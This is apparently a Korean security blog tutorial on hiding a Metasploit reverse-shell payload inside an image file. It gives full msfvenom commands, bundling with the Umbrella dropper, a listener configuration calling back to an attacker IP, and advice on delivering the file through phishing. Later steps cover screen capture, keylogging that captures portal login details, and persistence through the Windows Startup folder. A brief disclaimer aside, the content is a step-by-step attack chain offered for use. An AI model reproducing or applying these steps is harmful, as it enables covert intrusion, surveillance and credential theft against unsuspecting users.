본문 바로가기

해킹-보안

MSFVenom을 이용하여 이미지 파일에 악성코드 주입하기

반응형



이 내용을 악용하여 다른 시스템에 적용하지 않습니다.
그로 인한 법적인 책임은 본인에게 있습니다.
자신이 운영하는 시스템의 보안 취약점을 찾아내는 용도로만 사용하세요.


ி MSFVenom


metasploit에서 제공하는 페이로드를 생성할 수 있는 도구로서
exe 실행 파일에 악성코드, 정확히 말하면 exploit 코드를 주입할 수 있다. 




ி 4w4k3 Umbrella


Umbrella는 이미지와 exe를 합칠 수 있게 해주는 파일 드로퍼이다.
드로퍼 - 실행 시 바이러스를 불러오는 실행 파일이다.
이미지 파일에 악의적인 실행 파일을 심으면
단순히 사진 파일을 열어보는 것만으로도 악성코드가 실행될 수 있다.
특히 이미지 뷰어를 통해서 사진이 실제로 보여지므로 일반 사용자 입장에서는
정상적인 파일이라고 착각하기 쉽다.



ி 실습


시나리오 구성은 윈도우7에서 공격자 웹서버(kali)에서 제공하는
악성 이미지 파일을 다운받도록 한다.
그 후 kali에서 윈도우7의 세션을 획득한다.
윈도우7 사용자가 이미지 파일을 여는 순간 익스플로잇 코드가 실행되어
윈도가 칼리리눅스 포트로 알아서 접속해준다.
이러한 방식을 Reverse Shell이라고 한다.

앞으로 진행할 내용을 간단하게 정리하자면
msfvenom으로 악성코드가 담긴 exe를 만들고
Umbrella를 통해서 악성 exe와 이미지 파일을 합칠 것이다.
그리고 웹에 악성 이미지 파일을 올리고 사용자가 열어보아 감염된다는
전개로 진행한다.


우선 파일을 올릴 수 있는 웹 서비스 환경을 만들어 주어야 하는데
칼리에서는 이미 웹 서버가 구축되어 있으므로 웹서버 시작 명령어만 실행하면 된다.
# service apache2 start


그리고 msfvenom으로 악성코드가 주입된 exe 파일을 만들어야 한다.
msfvenom으로 reverse 셸을 사용할 수 있는 페이로드를 조회하는 명령은
아래와 같다.
# msfvenom -l payloads | grep "reverse"

저 페이로드 중에 시나리오에 맞는 적합한 항목을 선택해야 한다.
우선 공격자는 윈도우 대상으로 악성 코드를 만들 것이기 때문에
windows os가 들어간 페이로드를 골라낸다.
그 중에서 리버스셸을 이용하는 페이로드를 선택한다.
그리고 악성코드를 실행시키려고 하는 운영체제가 32bit인지 64bit인지 모르기 때문에
32bit를 선택한다. 왜냐하면 보통 악성코드는 32bit 환경으로 만드는데
64bit 악성코드로 만들면 32bit 운영체제에서는 실행이 안되기 때문이다.
따라서 종합적으로 고려해보아 아래의 페이로드를 선택하였다.

windows/meterpreter/reverse_tcp


선택한 페이로드를 생성하기 위한 명령은 다음과 같다.

# msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.186 lport=4444 -f exe -o /root/Desktop/1234.exe
lhost 로컬 호스트 ip, 즉 칼리리눅스의 ip이다.
lport 로컬 호스트의 port이며 이미 사용 중인 포트를 뺀 1024번 이후의 포트를 입력한다.
-f 옵션은 실행 파일 형태를 나타내고 -o 출력할 파일 경로를 지정한다.
뒤에 실행 파일 이름은 본인이 원하는대로 지정해주자.
이 파일을 실행하게 되면 상대가 내 ip:port로 접속하게 된다.

익스플로잇을 위한 exe 파일을 만들었다면
웹서버 루트디렉터리에 해당 악성 파일과 나중에 합칠 이미지 파일을 함께 업로드한다.
그 후 이미지 악성코드 생성을 위한 4w4k3을 다운받는다.
칼리리눅스에서 아래의 깃 명령을 사용하여 받아오도록 하자.
# git clone https://github.com/4w4k3/Umbrella.git

Umbrella 디렉토리로 이동하여 아래와 같이 install 명령을 수행한다.
# chmod 777 install.sh
# ./install.sh
중간에 서버 접속 실패라는 메시지가 뜨면 인스톨 파일을 재실행해야 한다.
설치 과정에서 나오는 win py32는 꼭 다운로드하고 옵션은 기본 값으로 놓고 진행한다.

설치가 완료되면 Umbrella를 실행한다.
# python umbrella.py

Umbrella 옵션은 D(Gen Dropper), 4번(Image Dropper)을 선택한다.

그 후 아까 만들어놓았던 악성 파일의 위치와 사진 파일을 업로드한다.
Insert url from your exe to drop: [서버ip/악성 파일]
Ex) http://192.168.0.186/1234.exe
Insert url from file to embed: [서버ip/사진 파일]
Ex) http://192.168.0.186/cat.jpg


명령을 실행하고나면 .../Umbrella/dist 디렉토리에
이미지 악성 파일이 생성됐을 것이다.

이제 상대가 내 포트로 들어올 수 있도록
악성 파일을 생성할 때 입력했던 4444 포트를 열어줄 것이다.

포트를 열기 위한 명령어의 묶음을 파일로 만들어 준다.
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.0.186 // 칼리 ip
set lport 4444
set exitonsession false // 백그라운드로 세션을 하기 위해서 사용한다.
exploit -j // 연결 대기

필자는 local_handler.rc라는 이름으로 만들었는데
파일명은 아무거나 해도 상관없지만 확장자는 rc로 저장해야 한다.

이제 아래 명령을 수행하면 대상 시스템이
악성 코드를 실행할 때까지 포트를 열고 기다리는 상태가 된다.
# msfconsole -r local_handler.rc
여기서 공격자가 추가로 해야하는 것은
윈도우 사용자가 저 사진 파일을 열어보도록 해야한다.
이는 사회공학적 기법을 활용하여 피싱 메일을 보내거나
본인이 운영하는 웹 페이지에 관심을 끌 수 있는 사진 파일을 올리는 등
여러 가지 수단이 있을 것이다.

한 가지 가정을 하자면 윈도우 사용자는 웹 페이지를 둘러보다가
고양이 사진을 보려고 공격자의 서버에 접속한 상황이라고 예를 들어보자.

사용자는 멀쩡한 사진을 보고 있는 것 같지만
실제로는 악성 행위도 같이 실행되는 트로이목마 바이러스에 걸려든 것이다. 



그 후 공격자는 해당 사용자의 시스템 제어 권한을 획득하였다.


0.186이 공격자, 0.215가 피해자 ip이다. 

이제 공격자는 대상이 어떤 작업을 하는지 지켜볼 수 있다.
해당 사용자가 웹캠을 쓰면 사용자의 모습을 녹화할 수 있고
윈도우 작업 화면을 찍을 수도 있다.

우선 간단하게 screenshot 명령을 통해서 대상이 작업중인 화면을 찍어보자.

상대방의 윈도우 화면이 사진으로 저장된 모습이다.

이뿐만 아니라 대상이 입력하는 키값을 볼 수도 있다.
키로그 명령을 사용하면 상대방이 입력한 모든 키들을 공격자에게 전송한다.
여기서 공격자가 선호하는 정보들은 아마도 특정 포털 사이트에 로그인하는 정보들일 것이다.

실제로 아래의 명령을 사용하여 키로깅을 시작하고
대상 컴퓨터에서 네이버 계정으로 로그인해보자.

keyscan_start


대상 시스템에서 네이버 계정을 치고 들어간다.
이후 공격자가 keyscan_dump를 입력하면 
상대가 네이버 포털 사이트에서 입력했던 계정 정보들을 확인할 수 있다.


아이디가 abcd1234, 비밀번호는 password12345라고 입력한 것이 확인된다.
반대로 키를 전송하는 명령어인 keyboard_send도 있으며 아래와 같이 사용한다.
keyboard_send "상대에게 보낼 키보드 입력값 지정"

더 많은 기능들은 help 명령을 통해 조회가 가능하니 참고하자.

그런데 여기서 문제 하나가 있다. 
대상 컴퓨터가 재부팅을 하면 공격자와의 세션이 끊기게 된다는 점이다.
이 경우 피해자가 악성 행위를 하는 파일을 다시 실행해야 세션 탈취가 가능하다.
하지만 애초에 공격자가 피해자 컴퓨터에다가 악성 파일을 시작 프로그램에 올려두면 
시작 프로그램 폴더에 있는 파일들은 컴퓨터가 시작될 때 자동으로 실행되므로
컴퓨터를 재부팅해도 다시 세션을 받아올 수 있다.

이제 윈도우 시작 프로그램에 악성 파일을 업로드해보자.
시작프로그램 경로는 아래와 같다.
C:\Users\사용자\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

미터프리터에서 파일을 올릴 때는 아래 명령어를 사용한다.
upload [절대경로 및 파일이름]

그리고 파일은 msfvenom으로 만들어놓았던 exe 악성 파일을 올린다. 
그 이유는 컴퓨터가 재부팅될 때 뜬금없이 사진이 뜬다면 사용자가 의심하게 되기 때문이다.   
저 작업을 해두면 컴퓨터를 껐다 켜도 항상 공격자와 피해자 세션 상태가 유지된다.








반응형